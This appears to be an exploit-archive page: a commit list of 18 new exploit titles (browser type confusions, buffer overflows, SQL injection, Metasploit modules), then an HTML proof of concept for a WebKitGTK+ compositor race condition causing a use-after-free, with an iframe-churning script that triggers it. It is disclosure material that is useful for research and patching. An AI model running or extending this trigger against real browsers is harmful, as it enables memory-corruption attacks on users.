9d7b2f64d5
18 changes to exploits/shellcodes Canarytokens 2019-03-01 - Detection Bypass SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion) WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free WebKitGTK+ - 'ThreadedCompositor' Race Condition Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion AIDA64 Business 5.99.4900 - SEH Buffer Overflow (EggHunter) AIDA64 Extreme Edition 5.99.4800 - Local SEH Buffer Overflow AIDA64 Extreme / Engineer / Network Audit 5.99.4900 - SEH Buffer Overflow (EggHunter) TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit) PhreeBooks ERP 5.2.3 - Remote Command Execution Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit) iScripts ReserveLogic - SQL Injection Clinic Pro v4 - 'month' SQL Injection Ashop Shopping Cart Software - SQL Injection PhreeBooks ERP 5.2.3 - Arbitrary File Upload
51 lines
No EOL
1.2 KiB
HTML
51 lines
No EOL
1.2 KiB
HTML
<!--
|
|
VULNERABILITY DETAILS
|
|
The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.
|
|
|
|
|
|
REPRODUCTION CASE
|
|
-->
|
|
|
|
<html>
|
|
<style>
|
|
@keyframes foo {
|
|
0% { opacity: 0; }
|
|
100% { opacity: 1; }
|
|
}
|
|
|
|
div {
|
|
animation-name: foo;
|
|
animation-duration: 1s;
|
|
animation-iteration-count: infinite;
|
|
filter: saturate(50%);
|
|
}
|
|
</style>
|
|
<body>
|
|
<script>
|
|
frame = document.createElement("iframe");
|
|
|
|
setInterval(_ => {
|
|
frame.remove();
|
|
document.body.appendChild(frame);
|
|
|
|
doc = frame.contentDocument;
|
|
doc.head.appendChild(document.querySelector("style").cloneNode(true));
|
|
|
|
elt = document.createElement("div");
|
|
elt.textContent = "foo";
|
|
let elements = [];
|
|
|
|
for (let i = 0, count = Math.random() * 50; i < count; ++i) {
|
|
elements[i] = doc.body.appendChild(elt.cloneNode(true));
|
|
elements[i].clientWidth;
|
|
}
|
|
}, Math.random() * 500);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
<!--
|
|
VERSION
|
|
Reproduced on WebKitGTK+ build revision 240647.
|
|
This bug doesn't seem to affect WebKit on macOS/iOS.
|
|
--> |